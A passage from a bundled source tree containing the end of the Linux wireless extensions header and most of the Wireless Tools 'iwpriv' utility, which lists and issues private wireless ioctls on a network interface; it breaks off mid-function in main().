iw_pmkid_cand { __u32 flags; /* IW_PMKID_CAND_* */ __u32 index; /* the smaller the index, the higher the * priority */ struct sockaddr bssid; }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ struct iw_missed miss; /* Packet missed counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * This structure defines the payload of an ioctl, and is used * below. * * Note that this structure should fit on the memory footprint * of iwreq (which is the same as ifreq), which mean a max size of * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... * You should check this when increasing the structures defined * above in this file... */ union iwreq_data { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct iw_quality qual; /* Quality part of statistics */ struct sockaddr ap_addr; /* Access point address */ struct sockaddr addr; /* Destination address (hw/mac) */ struct iw_param param; /* Other small parameters */ struct iw_point data; /* Other large parameters */ }; /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * Do I need to remind you about structure size (32 octets) ? */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Old Frequency (backward compat - moved lower ) */ __u16 old_num_channels; __u8 old_num_frequency; /* Wireless event capability bitmasks */ __u32 event_capa[6]; /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ /* Quality range (link, level, noise) * If the quality is absolute, it will be in the range [0 ; max_qual], * if the quality is dBm, it will be in the range [max_qual ; 0]. * Don't forget that we use 8 bit arithmetics... */ struct iw_quality max_qual; /* Quality of the link */ /* This should contain the average/typical values of the quality * indicator. This should be the threshold between a "good" and * a "bad" link (example : monitor going from green to orange). * Currently, user space apps like quality monitors don't have any * way to calibrate the measurement. With this, they can split * the range between 0 and max_qual in different quality level * (using a geometric subdivision centered on the average). * I expect that people doing the user space apps will feedback * us on which value we need to put in each driver... */ struct iw_quality avg_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* For drivers that need a "login/passwd" form */ __u8 encoding_login_index; /* token index for login token */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ __u8 we_version_compiled; /* Must be WIRELESS_EXT */ __u8 we_version_source; /* Last update of source */ /* Retry limits and lifetime */ __u16 retry_capa; /* What retry options are supported */ __u16 retry_flags; /* How to decode max/min retry limit */ __u16 r_time_flags; /* How to decode max/min retry life */ __s32 min_retry; /* Minimal number of retries */ __s32 max_retry; /* Maximal number of retries */ __s32 min_r_time; /* Minimal retry lifetime */ __s32 max_r_time; /* Maximal retry lifetime */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers, * because each entry contain its channel index */ __u32 enc_capa; /* IW_ENC_CAPA_* bit field */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; /* ----------------------- WIRELESS EVENTS ----------------------- */ /* * Wireless events are carried through the rtnetlink socket to user * space. They are encapsulated in the IFLA_WIRELESS field of * a RTM_NEWLINK message. */ /* * A Wireless Event. Contains basically the same data as the ioctl... */ struct iw_event { __u16 len; /* Real lenght of this stuff */ __u16 cmd; /* Wireless IOCTL */ union iwreq_data u; /* IOCTL fixed payload */ }; /* Size of the Event prefix (including padding and alignement junk) */ #define IW_EV_LCP_LEN (sizeof(struct iw_event) - sizeof(union iwreq_data)) /* Size of the various events */ #define IW_EV_CHAR_LEN (IW_EV_LCP_LEN + IFNAMSIZ) #define IW_EV_UINT_LEN (IW_EV_LCP_LEN + sizeof(__u32)) #define IW_EV_FREQ_LEN (IW_EV_LCP_LEN + sizeof(struct iw_freq)) #define IW_EV_PARAM_LEN (IW_EV_LCP_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_LEN (IW_EV_LCP_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_LEN (IW_EV_LCP_LEN + sizeof(struct iw_quality)) /* iw_point events are special. First, the payload (extra data) come at * the end of the event, so they are bigger than IW_EV_POINT_LEN. Second, * we omit the pointer, so start at an offset. */ #define IW_EV_POINT_OFF (((char *) &(((struct iw_point *) NULL)->length)) - \ (char *) NULL) #define IW_EV_POINT_LEN (IW_EV_LCP_LEN + sizeof(struct iw_point) - \ IW_EV_POINT_OFF) #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/iwpriv.c0000755000175000017500000007056111705505257015261 0ustar reaverreaver/* * Wireless Tools * * Jean II - HPLB 97->99 - HPL 99->07 * * Main code for "iwconfig". This is the generic tool for most * manipulations... * You need to link this code against "iwlib.c" and "-lm". * * This file is released under the GPL license. * Copyright (c) 1997-2007 Jean Tourrilhes */ #include "iwlib.h" /* Header */ /************************** DOCUMENTATION **************************/ /* * BASIC PRINCIPLE * --------------- * Wireless Extension recognise that each wireless device has some * specific features not covered by the standard wireless extensions. * Private wireless ioctls/requests allow a device to export the control * of those device specific features, and allow users to directly interact * with your driver. * There are many other ways you can implement such functionality : * o module parameters * o netlink socket * o file system (/proc/ or /sysfs/) * o extra character device (/dev/) * Private wireless ioctls is one of the simplest implementation, * however it is limited, so you may want to check the alternatives. * * Like for standard Wireless Extensions, each private wireless * request is identified by an IOCTL NUMBER and carry a certain number * of arguments (SET or GET). * The driver exports a description of those requests (ioctl number, * request name, set and get arguments). Then, iwpriv uses those request * descriptions to call the appropriate request and handle the * arguments. * * IOCTL RANGES : * ------------ * The initial implementation of iwpriv was using the SIOCDEVPRIVATE * ioctl range (up to 16 ioctls - driver specific). However, this was * causing some compatibility problems with other usages of those * ioctls, and those ioctls are supposed to be removed. * Therefore, I created a new ioctl range, at SIOCIWFIRSTPRIV. Those * ioctls are specific to Wireless Extensions, so you don't have to * worry about collisions with other usages. On the other hand, in the * new range, the SET convention is enforced (see below). * The differences are : SIOCDEVPRIVATE SIOCIWFIRSTPRIV * o availability <= 2.5.X WE > 11 (>= 2.4.13) * o collisions yes no * o SET convention optional enforced * o number 16 32 * * NEW DRIVER API : * -------------- * Wireless Extension 13 introduces a new driver API. Wireless * Extensions requests can be handled via a iw_handler table instead * of through the regular ioctl handler. * The new driver API can be handled only with the new ioctl range * and enforces the GET convention (see below). * The differences are : old API new API * o handler do_ioctl() struct iw_handler_def * o SIOCIWFIRSTPRIV WE > 11 yes * o SIOCDEVPRIVATE yes no * o GET convention optional enforced * Note that the new API before Wireless Extension 15 contains bugs * when handling sub-ioctls and addr/float data types. * * INLINING vs. POINTER : * -------------------- * One of the tricky aspect of the old driver API is how the data * is handled, which is how the driver is supposed to extract the data * passed to it by iwpriv. * 1) If the data has a fixed size (private ioctl definition * has the flag IW_PRIV_SIZE_FIXED) and the byte size of the data is * lower than 16 bytes, the data will be inlined. The driver can extract * data in the field 'u.name' of the struct iwreq. * 2) If the if the data doesn't have a fixed size or is larger than * 16 bytes, the data is passed by pointer. struct iwreq contains a * struct iwpoint with a user space pointer to the data. Appropriate * copy_from/to_user() function should be used. * * With the new API, this is handled transparently, the data is * always available as the fourth argument of the request handler * (usually called 'extra'). * * SET/GET CONVENTION : * ------------------ * Simplistic summary : * o even numbered ioctls are SET, restricted to root, and should not * return arguments (get_args = 0). * o odd numbered ioctls are GET, authorised to anybody, and should * not expect any arguments (set_args = 0). * * The regular Wireless Extensions use the SET/GET convention, where * the low order bit identify a SET (0) or a GET (1) request. The private * Wireless Extension is not as restrictive, but still has some * limitations. * The new ioctl range enforces the SET convention : SET request will * be available to root only and can't return any arguments. If you don't * like that, just use every other two ioctl. * The new driver API enforce the GET convention : GET request won't * be able to accept any arguments (except if its fits within (union * iwreq_data)). If you don't like that, you can either use the Token Index * support or the old API (aka the ioctl handler). * In any case, it's a good idea to not have ioctl with both SET * and GET arguments. If the GET arguments doesn't fit within * (union iwreq_data) and SET do, or vice versa, the current code in iwpriv * won't work. One exception is if both SET and GET arguments fit within * (union iwreq_data), this case should be handled safely in a GET * request. * If you don't fully understand those limitations, just follow the * rules of the simplistic summary ;-) * * SUB-IOCTLS : * ---------- * Wireless Extension 15 introduces sub-ioctls. For some applications, * 32 ioctls is not enough, and this simple mechanism allows to increase * the number of ioctls by adding a sub-ioctl index to some of the ioctls * (so basically it's a two level addressing). * One might argue that at the point, some other mechanisms might be * better, like using a real filesystem abstraction (/proc, driverfs, ...), * but sub-ioctls are simple enough and don't have much drawbacks (which * means that it's a quick and dirty hack ;-). * * There are two slightly different variations of the sub-ioctl scheme : * 1) If the payload fits within (union iwreq_data), the first int * (4 bytes) is reserved as the sub-ioctl number and the regular payload * shifted by 4 bytes. The handler must extract the sub-ioctl number, * increment the data pointer and then use it in the usual way. * 2) If the ioctl uses (struct iw_point), the sub-ioctl number is * set in the flags member of the structure. In this case, the handler * should simply get the sub-ioctl number from the flags and process the * data in the usual way. * * Sub-ioctls are declared normally in the private definition table, * with cmd (first arg) being the sub-ioctl number. Then, you should * declare the real ioctl, which will process the sub-ioctls, with * the SAME ARGUMENTS and a EMPTY NAME. * Here's an example of how it could look like : * -------------------------------------------- // --- sub-ioctls handlers --- { 0x8BE0, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "" }, { 0x8BE1, 0, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, "" }, // --- sub-ioctls definitions --- { 1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "set_param1" }, { 1, 0, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, "get_param1" }, { 2, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "set_param2" }, { 2, 0, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, "get_param2" }, // --- Raw access to sub-ioctl handlers --- { 0x8BE0, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 2, 0, "set_paramN" }, { 0x8BE1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, "get_paramN" }, * -------------------------------------------- * And iwpriv should do the rest for you ;-) * * Note that versions of iwpriv up to v24 (included) expect at most * 16 ioctls definitions and will likely crash when given more. * There is no fix that I can see, apart from recommending your users * to upgrade their Wireless Tools. Wireless Extensions 15 will check this * condition, so another workaround is restricting those extra definitions * to WE-15. * * Another problem is that the new API before Wireless Extension 15 * has a bug when passing fixed arguments of 12-15 bytes. It will * try to get them inline instead of by pointer. You can fool the new API * to do the right thing using fake ioctl definitions (but remember that * you will be more likely to hit the limit of 16 ioctl definitions). * To play safe, use the old-style ioctl handler before v15. * * NEW DATA TYPES (ADDR/FLOAT) : * --------------------------- * Wireless Tools 25 introduce two new data types, addr and float, * corresponding to struct sockaddr and struct iwfreq. * Those types are properly handled with Wireless Extensions 15. * However, the new API before v15 won't handle them properly. * * The first problem is that the new API won't know their size, so * it won't copy them. This can be workaround with a fake ioctl definition. * The second problem is that a fixed single addr won't be inlined * in struct iwreq and will be passed as a pointer. This is due to an * off-by-one error, where all fixed data of 16 bytes is considered too * big to fit in struct iwreq. * * For those reasons, I would recommend to use the ioctl handler * before v15 when manipulating those data. * * TOKEN INDEX : * ----------- * Token index is very similar to sub-ioctl. It allows the user * to specify an integer index in front of a bunch of other arguments * (addresses, strings, ...). It's specified in square brackets on the * iwpriv command line before other arguments. * > iwpriv eth0 [index] args... * Token index works only when the data is passed as pointer, and * is otherwise ignored. If your data would fit within struct iwreq, you * should declare the command *without* IW_PRIV_SIZE_FIXED to force * this to happen (and check arg number yourself). * -------------------------------------------- // --- Commands that would fit in struct iwreq --- { 0x8BE0, IW_PRIV_TYPE_ADDR | 1, 0, "set_param_with_token" }, // --- No problem here (bigger than struct iwreq) --- { 0x8BE1, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED | 2, 0, "again" }, * -------------------------------------------- * The token index feature is pretty transparent, the token index * will just be in the flags member of (struct iw_point). Default value * (if the user doesn't specify it) will be 0. Token index itself will * work with any version of Wireless Extensions. * Token index is not compatible with sub-ioctl (both use the same * field of struct iw_point). However, the token index can be used to offer * raw access to the sub-ioctl handlers (if it uses struct iw_point) : * -------------------------------------------- // --- sub-ioctls handler --- { 0x8BE0, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED | 1, 0, "" }, // --- sub-ioctls definitions --- { 0, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED | 1, 0, "setaddr" }, { 1, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED | 1, 0, "deladdr" }, // --- raw access with token index (+ iwreq workaround) --- { 0x8BE0, IW_PRIV_TYPE_ADDR | 1, 0, "rawaddr" }, * -------------------------------------------- * * Jean II */ /**************************** CONSTANTS ****************************/ static const char * argtype[] = { " ", "byte ", "char ", "", "int ", "float", "addr " }; /************************* MISC SUBROUTINES **************************/ /*------------------------------------------------------------------*/ /* * Print usage string */ static void iw_usage(void) { fprintf(stderr, "Usage: iwpriv interface [private-command [private-arguments]]\n"); } /************************* SETTING ROUTINES **************************/ /*------------------------------------------------------------------*/ /* * Execute a private command on the interface */ static int set_private_cmd(int skfd, /* Socket */ char * args[], /* Command line args */ int count, /* Args count */ char * ifname, /* Dev name */ char * cmdname, /* Command name */ iwprivargs * priv, /* Private ioctl description */ int priv_num) /* Number of descriptions */ { struct iwreq wrq; u_char buffer[4096]; /* Only that big in v25 and later */ int i = 0; /* Start with first command arg */ int k; /* Index in private description table */ int temp; int subcmd = 0; /* sub-ioctl index */ int offset = 0; /* Space for sub-ioctl index */ /* Check if we have a token index. * Do it now so that sub-ioctl takes precedence, and so that we * don't have to bother with it later on... */ if((count >= 1) && (sscanf(args[0], "[%i]", &temp) == 1)) { subcmd = temp; args++; count--; } /* Search the correct ioctl */ k = -1; while((++k < priv_num) && strcmp(priv[k].name, cmdname)); /* If not found... */ if(k == priv_num) { fprintf(stderr, "Invalid command : %s\n", cmdname); return(-1); } /* Watch out for sub-ioctls ! */ if(priv[k].cmd < SIOCDEVPRIVATE) { int j = -1; /* Find the matching *real* ioctl */ while((++j < priv_num) && ((priv[j].name[0] != '\0') || (priv[j].set_args != priv[k].set_args) || (priv[j].get_args != priv[k].get_args))); /* If not found... */ if(j == priv_num) { fprintf(stderr, "Invalid private ioctl definition for : %s\n", cmdname); return(-1); } /* Save sub-ioctl number */ subcmd = priv[k].cmd; /* Reserve one int (simplify alignment issues) */ offset = sizeof(__u32); /* Use real ioctl definition from now on */ k = j; #if 0 printf("\n", cmdname, priv[k].cmd, subcmd); #endif } /* If we have to set some data */ if((priv[k].set_args & IW_PRIV_TYPE_MASK) && (priv[k].set_args & IW_PRIV_SIZE_MASK)) { switch(priv[k].set_args & IW_PRIV_TYPE_MASK) { case IW_PRIV_TYPE_BYTE: /* Number of args to fetch */ wrq.u.data.length = count; if(wrq.u.data.length > (priv[k].set_args & IW_PRIV_SIZE_MASK)) wrq.u.data.length = priv[k].set_args & IW_PRIV_SIZE_MASK; /* Fetch args */ for(; i < wrq.u.data.length; i++) { sscanf(args[i], "%i", &temp); buffer[i] = (char) temp; } break; case IW_PRIV_TYPE_INT: /* Number of args to fetch */ wrq.u.data.length = count; if(wrq.u.data.length > (priv[k].set_args & IW_PRIV_SIZE_MASK)) wrq.u.data.length = priv[k].set_args & IW_PRIV_SIZE_MASK; /* Fetch args */ for(; i < wrq.u.data.length; i++) { sscanf(args[i], "%i", &temp); ((__s32 *) buffer)[i] = (__s32) temp; } break; case IW_PRIV_TYPE_CHAR: if(i < count) { /* Size of the string to fetch */ wrq.u.data.length = strlen(args[i]) + 1; if(wrq.u.data.length > (priv[k].set_args & IW_PRIV_SIZE_MASK)) wrq.u.data.length = priv[k].set_args & IW_PRIV_SIZE_MASK; /* Fetch string */ memcpy(buffer, args[i], wrq.u.data.length); buffer[sizeof(buffer) - 1] = '\0'; i++; } else { wrq.u.data.length = 1; buffer[0] = '\0'; } break; case IW_PRIV_TYPE_FLOAT: /* Number of args to fetch */ wrq.u.data.length = count; if(wrq.u.data.length > (priv[k].set_args & IW_PRIV_SIZE_MASK)) wrq.u.data.length = priv[k].set_args & IW_PRIV_SIZE_MASK; /* Fetch args */ for(; i < wrq.u.data.length; i++) { double freq; if(sscanf(args[i], "%lg", &(freq)) != 1) { printf("Invalid float [%s]...\n", args[i]); return(-1); } if(strchr(args[i], 'G')) freq *= GIGA; if(strchr(args[i], 'M')) freq *= MEGA; if(strchr(args[i], 'k')) freq *= KILO; sscanf(args[i], "%i", &temp); iw_float2freq(freq, ((struct iw_freq *) buffer) + i); } break; case IW_PRIV_TYPE_ADDR: /* Number of args to fetch */ wrq.u.data.length = count; if(wrq.u.data.length > (priv[k].set_args & IW_PRIV_SIZE_MASK)) wrq.u.data.length = priv[k].set_args & IW_PRIV_SIZE_MASK; /* Fetch args */ for(; i < wrq.u.data.length; i++) { if(iw_in_addr(skfd, ifname, args[i], ((struct sockaddr *) buffer) + i) < 0) { printf("Invalid address [%s]...\n", args[i]); return(-1); } } break; default: fprintf(stderr, "Not implemented...\n"); return(-1); } if((priv[k].set_args & IW_PRIV_SIZE_FIXED) && (wrq.u.data.length != (priv[k].set_args & IW_PRIV_SIZE_MASK))) { printf("The command %s needs exactly %d argument(s)...\n", cmdname, priv[k].set_args & IW_PRIV_SIZE_MASK); return(-1); } } /* if args to set */ else { wrq.u.data.length = 0L; } strncpy(wrq.ifr_name, ifname, IFNAMSIZ); /* Those two tests are important. They define how the driver * will have to handle the data */ if((priv[k].set_args & IW_PRIV_SIZE_FIXED) && ((iw_get_priv_size(priv[k].set_args) + offset) <= IFNAMSIZ)) { /* First case : all SET args fit within wrq */ if(offset) wrq.u.mode = subcmd; memcpy(wrq.u.name + offset, buffer, IFNAMSIZ - offset); } else { if((priv[k].set_args == 0) && (priv[k].get_args & IW_PRIV_SIZE_FIXED) && (iw_get_priv_size(priv[k].get_args) <= IFNAMSIZ)) { /* Second case : no SET args, GET args fit within wrq */ if(offset) wrq.u.mode = subcmd; } else { /* Third case : args won't fit in wrq, or variable number of args */ wrq.u.data.pointer = (caddr_t) buffer; wrq.u.data.flags = subcmd; } } /* Perform the private ioctl */ if(ioctl(skfd, priv[k].cmd, &wrq) < 0) { fprintf(stderr, "Interface doesn't accept private ioctl...\n"); fprintf(stderr, "%s (%X): %s\n", cmdname, priv[k].cmd, strerror(errno)); return(-1); } /* If we have to get some data */ if((priv[k].get_args & IW_PRIV_TYPE_MASK) && (priv[k].get_args & IW_PRIV_SIZE_MASK)) { int j; int n = 0; /* number of args */ printf("%-8.16s %s:", ifname, cmdname); /* Check where is the returned data */ if((priv[k].get_args & IW_PRIV_SIZE_FIXED) && (iw_get_priv_size(priv[k].get_args) <= IFNAMSIZ)) { memcpy(buffer, wrq.u.name, IFNAMSIZ); n = priv[k].get_args & IW_PRIV_SIZE_MASK; } else n = wrq.u.data.length; switch(priv[k].get_args & IW_PRIV_TYPE_MASK) { case IW_PRIV_TYPE_BYTE: /* Display args */ for(j = 0; j < n; j++) printf("%d ", buffer[j]); printf("\n"); break; case IW_PRIV_TYPE_INT: /* Display args */ for(j = 0; j < n; j++) printf("%d ", ((__s32 *) buffer)[j]); printf("\n"); break; case IW_PRIV_TYPE_CHAR: /* Display args */ buffer[n] = '\0'; printf("%s\n", buffer); break; case IW_PRIV_TYPE_FLOAT: { double freq; /* Display args */ for(j = 0; j < n; j++) { freq = iw_freq2float(((struct iw_freq *) buffer) + j); if(freq >= GIGA) printf("%gG ", freq / GIGA); else if(freq >= MEGA) printf("%gM ", freq / MEGA); else printf("%gk ", freq / KILO); } printf("\n"); } break; case IW_PRIV_TYPE_ADDR: { char scratch[128]; struct sockaddr * hwa; /* Display args */ for(j = 0; j < n; j++) { hwa = ((struct sockaddr *) buffer) + j; if(j) printf(" %.*s", (int) strlen(cmdname), " "); printf("%s\n", iw_saether_ntop(hwa, scratch)); } } break; default: fprintf(stderr, "Not yet implemented...\n"); return(-1); } } /* if args to set */ return(0); } /*------------------------------------------------------------------*/ /* * Execute a private command on the interface */ static inline int set_private(int skfd, /* Socket */ char * args[], /* Command line args */ int count, /* Args count */ char * ifname) /* Dev name */ { iwprivargs * priv; int number; /* Max of private ioctl */ int ret; /* Read the private ioctls */ number = iw_get_priv_info(skfd, ifname, &priv); /* Is there any ? */ if(number <= 0) { /* Should I skip this message ? */ fprintf(stderr, "%-8.16s no private ioctls.\n\n", ifname); if(priv) free(priv); return(-1); } /* Do it */ ret = set_private_cmd(skfd, args + 1, count - 1, ifname, args[0], priv, number); free(priv); return(ret); } /************************ CATALOG FUNCTIONS ************************/ /*------------------------------------------------------------------*/ /* * Print on the screen in a neat fashion the list of private ioctls * for the device. */ static int print_priv_info(int skfd, char * ifname, char * args[], int count) { int k; iwprivargs * priv; int n; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Read the private ioctls */ n = iw_get_priv_info(skfd, ifname, &priv); /* Is there any ? */ if(n <= 0) { /* Should I skip this message ? */ fprintf(stderr, "%-8.16s no private ioctls.\n\n", ifname); } else { printf("%-8.16s Available private ioctls :\n", ifname); /* Print them all */ for(k = 0; k < n; k++) if(priv[k].name[0] != '\0') printf(" %-16.16s (%.4X) : set %3d %s & get %3d %s\n", priv[k].name, priv[k].cmd, priv[k].set_args & IW_PRIV_SIZE_MASK, argtype[(priv[k].set_args & IW_PRIV_TYPE_MASK) >> 12], priv[k].get_args & IW_PRIV_SIZE_MASK, argtype[(priv[k].get_args & IW_PRIV_TYPE_MASK) >> 12]); printf("\n"); } /* Cleanup */ if(priv) free(priv); return(0); } /*------------------------------------------------------------------*/ /* * Print on the screen in a neat fashion the list of private GET ioctl * data for the device and data returned by those. */ static int print_priv_all(int skfd, char * ifname, char * args[], int count) { int k; iwprivargs * priv; int n; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Read the private ioctls */ n = iw_get_priv_info(skfd, ifname, &priv); /* Is there any ? */ if(n <= 0) { /* Should I skip this message ? */ fprintf(stderr, "%-8.16s no private ioctls.\n\n", ifname); } else { printf("%-8.16s Available read-only private ioctl :\n", ifname); /* Print them all */ for(k = 0; k < n; k++) /* We call all ioctls that don't have a null name, don't require * args and return some (avoid triggering "reset" commands) */ if((priv[k].name[0] != '\0') && (priv[k].set_args == 0) && (priv[k].get_args != 0)) set_private_cmd(skfd, NULL, 0, ifname, priv[k].name, priv, n); printf("\n"); } /* Cleanup */ if(priv) free(priv); return(0); } /********************** PRIVATE IOCTLS MANIPS ***********************/ /* * Convenient access to some private ioctls of some devices */ #if 0 /*------------------------------------------------------------------*/ /* * Set roaming mode on and off * Found in wavelan_cs driver * Note : this is obsolete, most 802.11 devices should use the * SIOCSIWAP request. */ static int set_roaming(int skfd, /* Socket */ char * args[], /* Command line args */ int count, /* Args count */ char * ifname) /* Dev name */ { u_char buffer[1024]; struct iwreq wrq; int i = 0; /* Start with first arg */ int k; iwprivargs * priv; int number; int roamcmd; char RoamState; /* buffer to hold new roam state */ char ChangeRoamState=0; /* whether or not we are going to change roam states */ /* Read the private ioctls */ number = iw_get_priv_info(skfd, ifname, &priv); /* Is there any ? */ if(number <= 0) { /* Should I skip this message ? */ fprintf(stderr, "%-8.16s no private ioctls.\n\n", ifname); if(priv) free(priv); return(-1); } /* Get the ioctl number */ k = -1; while((++k < number) && strcmp(priv[k].name, "setroam")); if(k == number) { fprintf(stderr, "This device doesn't support roaming\n"); free(priv); return(-1); } roamcmd = priv[k].cmd; /* Cleanup */ free(priv); if(count != 1) { iw_usage(); return(-1); } if(!strcasecmp(args[i], "on")) { printf("%-8.16s enable roaming\n", ifname); if(!number) { fprintf(stderr, "This device doesn't support roaming\n"); return(-1); } ChangeRoamState=1; RoamState=1; } else if(!strcasecmp(args[i], "off")) { i++; printf("%-8.16s disable roaming\n", ifname); if(!number) { fprintf(stderr, "This device doesn't support roaming\n"); return(-1); } ChangeRoamState=1; RoamState=0; } else { iw_usage(); return(-1); } if(ChangeRoamState) { strncpy(wrq.ifr_name, ifname, IFNAMSIZ); buffer[0]=RoamState; memcpy(wrq.u.name, &buffer, IFNAMSIZ); if(ioctl(skfd, roamcmd, &wrq) < 0) { fprintf(stderr, "Roaming support is broken.\n"); return(-1); } } return(0); } /*------------------------------------------------------------------*/ /* * Get and set the port type * Found in wavelan2_cs and wvlan_cs drivers * TODO : Add support for HostAP ? */ static int port_type(int skfd, /* Socket */ char * args[], /* Command line args */ int count, /* Args count */ char * ifname) /* Dev name */ { struct iwreq wrq; int i = 0; /* Start with first arg */ int k; iwprivargs * priv; int number; char ptype = 0; char * modes[] = { "invalid", "managed (BSS)", "reserved", "ad-hoc" }; /* Read the private ioctls */ number = iw_get_priv_info(skfd, ifname, &priv); /* Is there any ? */ if(number <= 0) { /* Should I skip this message ? */ fprintf(stderr, "%-8.16s no private ioctls.\n\n", ifname); if(priv) free(priv); return(-1); } /* Arguments ? */ if(count == 0) { /* So, we just want to see the current value... */ k = -1; while((++k < number) && strcmp(priv[k].name, "gport_type") && strcmp(priv[k].name, "get_port")); if(k == number) { fprintf(stderr, "This device doesn't support getting port type\n"); goto err; } strncpy(wrq.ifr_name, ifname, IFNAMSIZ); /* Get it */ if(ioctl(skfd, priv[k].cmd, &wrq) < 0) { fprintf(stderr, "Port type support is broken.\n"); goto err; } ptype = *wrq.u.name; /* Display it */ printf("%-8.16s Current port mode is %s .\n\n", ifname, modes[(int) ptype], ptype); free(priv); return(0); } if(count != 1) { iw_usage(); goto err; } /* Read it */ /* As a string... */ k = 0; while((k < 4) && strncasecmp(args[i], modes[k], 2)) k++; if(k < 4) ptype = k; else /* ...or as an integer */ if(sscanf(args[i], "%i", (int *) &ptype) != 1) { iw_usage(); goto err; } k = -1; while((++k < number) && strcmp(priv[k].name, "sport_type") && strcmp(priv[k].name, "set_port")); if(k == number) { fprintf(stderr, "This device doesn't support setting port type\n"); goto err; } strncpy(wrq.ifr_name, ifname, IFNAMSIZ); *(wrq.u.name) = ptype; if(ioctl(skfd, priv[k].cmd, &wrq) < 0) { fprintf(stderr, "Invalid port type (or setting not allowed)\n"); goto err; } free(priv); return(0); err: free(priv); return(-1); } #endif /******************************* MAIN ********************************/ /*------------------------------------------------------------------*/ /* * The main ! */ int main(int argc, char ** argv) { int skfd; /* generic raw socket desc. */ int goterr = 0; /* Create a channel to the NET kernel. */ if((skfd = iw_sockets_open()) < 0) { perror("socket"); return(-1); } /* No argument : show the list of all devices + ioctl list */ if(argc == 1) iw_enum_devices(skfd, &print_priv_info, NULL, 0); else /* Special cases take one... */ /* All */ if((!strncmp(argv[1], "-a", 2)) || (!strcmp(argv[1], "--all"))) iw_enum_devices(skfd, &print_priv_all, NULL, 0); else /* Help */ if((!strncmp(argv[1], "-h", 2)) || (!strcmp(argv[1], "--help"))) iw_usage(); else /* Version */ if (!strcmp(argv[1], "-v") || !strcmp(argv[1], "--version")) goterr = iw_print_version_info("iwpriv"); else /* The device name must be the first argument */ /* Name only : show for that device only */ if(argc == 2) print_priv_info(skfd, argv[1], NULL, 0); else /* Special cases take two... */ /* All */ if((!strncmp(argv[2], "-a", 2)) || (!strcmp(argv[2], "--all"))) print_priv_all(skfd, argv[1], NULL, 0); else #if 0 /* Roaming */ if(!strncmp(argv[2], "roam", 4)) goterr = 